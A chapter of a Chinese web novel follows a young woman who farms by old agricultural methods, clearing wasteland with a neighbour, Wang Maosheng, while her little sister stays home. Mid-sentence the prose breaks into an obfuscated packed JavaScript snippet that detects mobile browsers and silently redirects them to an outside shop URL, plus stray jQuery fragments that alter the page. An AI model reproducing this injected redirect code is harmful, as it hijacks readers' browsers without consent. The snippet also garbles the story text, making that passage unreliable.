王茂生走进院里,视线也随着她忙碌的身影转了一圈。
虞今越正焦头烂额地敲着火石,好不容易打出点火星子,一个激动,刚点着的火绒就被她的呼吸扑灭了。
她额角一抽,手底下敲得更用力了。
点着火后,她快速把火绒塞进灶膛,添柴,烧水,架上瓦罐,又回屋掏了四个野鸡蛋出来,等水开了,便溜边打了进去,窝了四个荷包蛋。
这会儿来不及煮粥了,家里也没有别的,上回捡的野鸡蛋不大,她和小妹一人两个,刚刚好。
虞今越洗漱完出了窝棚,见王茂生干巴巴地坐在院墙边的草捆上,视线一对,两人皆是一愣。
虞今越暗自懊恼,不好意思道:“怪我!我都忘了,家里也没个桌子板凳啥的,还叫你进来坐。对了,你吃早饭了吗?要不要在我家对付一口?”
人家好歹是帮自己下地开荒,她也只能匀一个荷包蛋给他了。
“我吃过了。”王茂生说。
“噢,那就好。”虞今越显然松了一口气,又给他倒了一碗水端过去,“那你喝口水吧,再等我一会儿,明日我一定准时下地。”
王茂生望了她一眼,抬手接了。
虞今越回屋把妹妹叫醒,给她梳了头,又叫她打水洗漱。
土灶旁,姐妹俩各自吃完碗里的两个荷包蛋,虞今越喝着汤叮嘱道:“姐姐今天要下地开荒,你自己一个人在家要小心点,有什么事就去对门找卢阿奶,还有,早上就吃了两个蛋估计不顶饿,晌午记得把米饭煮上,我要是回来得迟,你就自己先吃。”
虞今安抿着唇角点了点头,“阿姐,我记住了。”
“乖。”
虞今越摸了一把她的脑袋瓜,这才钻出窝棚,“茂生哥,我们走吧。”
王茂生收回视线,弯腰把脚边的镰刀拾起来,立刻起身往出走。
两人一齐走到村口,上了堤,一轮火红的朝阳才刚刚映上江面。
四下无风,野旷天低。
临江的圩田里已经有不少起早下地干活的村民了,一眼望过去,倒像是嵌在田亩间的一粒粒黑影。
王茂生快步走在前头,虞今越跟着下堤,又一起穿过田埂,到了自家的地头上。
“拿着,先割草吧。”王茂生把镰刀递给她。
“行,”虞今越接过镰刀,又喊住他大致讲了一下地里的情况,“我昨日在田埂边割草时留了记号,按照土质分成了三块地,咱们先从北边这一片开始割,你记得割草的时候茬子要留个两三寸,割下来的草也得收拢起来,等会儿我码到田埂上。”
王茂生皱眉看她,“你不打算烧荒?”
“不用烧荒,”
虞今越扬唇一笑,自信道:“你看他们烧过之后的地看起来是干净了,草木灰成了底肥,病虫害相对也会少一些,但是,这样的地一灌水就会板结,等这一季晚稻收完,来年地力变薄,还需要花更大的力气追肥。而且我不打算种稻,这块地也不用翻耕,直接点种就行。”
王茂生的目光在她的脸上缓缓移动,终于问出了心中的所想:“那天黄大人带人下地巡田,我也在场,我一直很好奇,你这些种地的门道是从哪里听来的?”
虞今越激动地上手拍了一下他的肩膀,欣然笑道:“茂生哥,你还是咱们村里,头一个没觉得我在胡说八道的!”
王茂生神情一滞,不太自然地往后退了一步,避开那只拍在自己肩头的手。
虞今越没留意他的动作,心里只想着大家都是洪水冲毁了家乡才迁过来的难民,又来自五湖四海,过往的事,互相都不知情,她正好可以编个理由,把那些说不清楚的事儿找个说法胡诌过去,也算是过了明路。
她清了下嗓子,正色道:“不瞒你说,其实我们虞家祖上是出过大官的,只是时间太久,就渐渐没落了,祖产一代代传到我阿爷手上,就只剩几本农书和几十亩地了。
这几本农书我从小翻看,因此还认得几个字,地里的活儿,也是全家一起干,知道很多种田整地的法子,多亏了这几本农书和我阿爷侍弄庄稼的本事,我们家的地在我们村,收成一直是最好的。其实,书里的东西也只是前人祖辈的经验,被人写在纸上传了下来,我不过是记住了,又亲手去试过,才会坚信自己选的这条路才是更加正确的一条。”
“你相信我可以种好这一茬的庄稼吗?”虞今越抬眼看他。
王茂生看着她焕发着光彩的乌黑眼瞳,心里蓦地一震,抿唇道:“我也不知道,下地吧。”
说罢,便跳下田埂,一头扎进了漫天的荒草里。
时至今日,虞今越根本不奢望能得到谁的认可,他的反应,也算是在她的意料之中。
只是说起这些,她不免想起了前世的课堂、书本、实验田,整齐划一的灌溉系统和往返田亩之间的大型农机,还有住在乡下的爷爷奶奶,再看着眼前这片原生态的荒地,只觉得有些恍如隔世。
她长长呼出一口气,握紧手里的镰刀,下地挥镰。
这几日气温已然下降了一些,但是钻在比人还要高的荒草地里,叫日头一晒,又做着繁重的农活儿,还是叫人闷出了一身的汗。
虞今越停下擦了一把汗,看了看身后王茂生割过的地方,整齐的草茬,空出了一大片,显然比自己的效率快了不少。
她立刻转过身去,继续埋头割草。
太阳一点点升到正当中,圩田里的村民为了避开晌午的日头,开始相继回家歇晌了。
虞今越累得头发都汗湿了,仍然咬牙坚持着,这边王茂生直起腰,看了看天,才穿过割完的半亩地过去找人。
“晌午了,先回去吧?”他擦着汗问。
虞今越这才停下来,甩着磨得发痛的手道:“行,你先回去吧,我把这些割下的草堆好了就走。”
王茂生默了默,走到田埂边,把镰刀和锄头放倒藏在一处浅沟里,又用草埋起来,才回过头去帮她搬草捆。
忙活了大半天,两人一共也才割了七八分地,杂草倒是收了十几捆,荒地里芦苇、荻草、茅草什么都有,割这些粗杆子,可比割稻子费事的多。
虞今越把草捆码在田埂边上,同王茂生道了谢,这才和他一起往回走。
下了堤,到了村口的码头上,两人都蹲在踏水板上洗了一把脸,才往家里去。
走到王家的院子门口,里头一个穿着花布衣裳的小女孩儿扒着门望了过来,欢快地冲里头喊了一声,“娘,二叔回来了!”
“我到了。”
王茂生扭头和身边的人说了一句,却见虞今越走上前,蹲在了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620507|205805||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他侄女面前,“你叫什么呀?几岁啦?”
小女孩儿瞅了她一眼,大咧咧地说:“我叫王小喜,五岁半了。”
“小喜,真是好名字,等有空了,我带我妹妹过来,她叫虞今安,也是五岁,你们可以一块儿玩。”虞今越笑眯眯地说。
对方点了点头,皱起小小的眉毛道:“但是我要去田里给我爷奶帮忙,捡草根,砸土块,还要帮我娘烧火,只有吃了晚饭才有时间出门玩。”
“小喜已经会干这么多活儿了?真厉害!”
“也没有多厉害啦。”
王小喜眼珠子飘忽忽乱转瞟到了在站后头发笑的王茂生,小脸蹭地一下红了,扭扭捏捏地说:“二叔,娘给你留了饭!”
虞今越起身让开,望着他们叔侄俩笑道:“赶紧吃饭去吧,我先走了,回头见。”
“嗯。”
王茂生低头看着大哥家的这个小人精,把人一把薅住,逮了进去。
虞今越回到家里,一推门,小妹就眼巴巴迎了上来,跟在她身后走进走出,活像只小尾巴。
虞今越喝一大碗水,解了渴,这才钻进窝棚里去吃饭,一碗实在的糙米饭,泡上半碗凉水,拣起筷子往嘴里一扒,大半碗饭就顺着喉咙滑了下去。
她几乎没怎么尝出味儿来,就灌了个水饱。
晌午一过,人困马乏。
姐妹俩躺在窝棚底下的坐榻上边睡觉边说着话,虞今安发现自己没说几句话,阿姐就睡着了。
对门的卢二牛偷偷摸过来喊人,“今安,去不去捡知了壳?虎子他们说可以攒了找货郎换陀螺呢。”
虞今安走到院墙边去说话,捂着嘴小声说:“你小声一点儿,阿姐在睡觉,我不能出去,你自己去吧。”
“真没意思,喊你干啥都不去!我跟你说,捡完知了壳我们还准备去江边挖野菜呢!你真不去?”卢二牛在院墙上做了个鬼脸,拉长声调道:“我真的走咯……”
“卢二牛!”虞今安追出门去,拽着卢二牛的袖子问:“那,你们一会儿挖野菜可不可以叫上我?”
“当然可以啦!”
卢二牛豁嘴一笑,挤眉弄眼道:“等我爹他们下地了我就出发,一会儿再来喊你!”
虞今安在心里小小的激动了一下,伸出手指,“那我们拉钩?”
灰扑扑的土路上,两个小孩儿头抵着头商量好了对策,这才各自回到自家院里。
下半晌下地,虞今越特地带了半陶罐凉水过去,两个人依旧是各自一头,站在垄上割草。
小半个时辰下来,两人才把那一亩地完完整整的割完。
虞今越在心里估算,北区这一片地足足有八亩,按照当前的进度,至少需要五六天才能割完。
这还是头一天,后面几天也不知道还有没有力气拿得起镰刀。
为了不让自己的腰废掉,虞今越决定歇口气,换个活儿干。
她撂下镰刀,去田埂上抱了一捆草过来,在割完的那一亩地上均匀地铺上一层杂草,铺的时候把草抖散,不能太厚也不能太薄。
干完这一亩地的活儿,虞今越才拖着疲惫的身子靠坐在草捆后头喝水休息。
她一抬眼,看见王茂生拿起了锄头时,急忙起身赶了过去,大喊道:“等等,你先别锄地!”